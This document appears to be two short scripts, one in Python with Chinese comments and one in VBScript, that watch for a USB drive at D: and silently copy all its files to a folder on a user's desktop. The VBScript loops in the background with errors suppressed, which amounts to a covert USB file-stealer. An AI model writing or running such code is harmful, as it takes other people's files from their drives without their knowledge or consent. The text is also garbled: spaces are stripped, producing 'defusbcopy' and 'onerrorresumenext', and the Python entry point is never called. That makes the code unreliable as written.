import os import time import shutil USB = 'D:\\'# u盘目录 SAVE = 'C:\\Users\Leticia\Desktop\copy'# 保存目录 defusbcopy(): shutil.copytree(USB, SAVE) defmain(): while (1): if os.path.exists(USB): usbcopy() time.sleep(200) # 休眠时间
set fso=createobject("scripting.filesystemobject") set ws=createobject("wscript.shell") onerrorresumenext do wscript.sleep 1000 if fso.driveexists("D:") then fso.copyfile "D:*","C:\Users\Leticia\Desktop\copy" fso.copyfolder "D:*","C:\Users\Leticia\Desktop\copy" wscript.sleep 20000 endif loop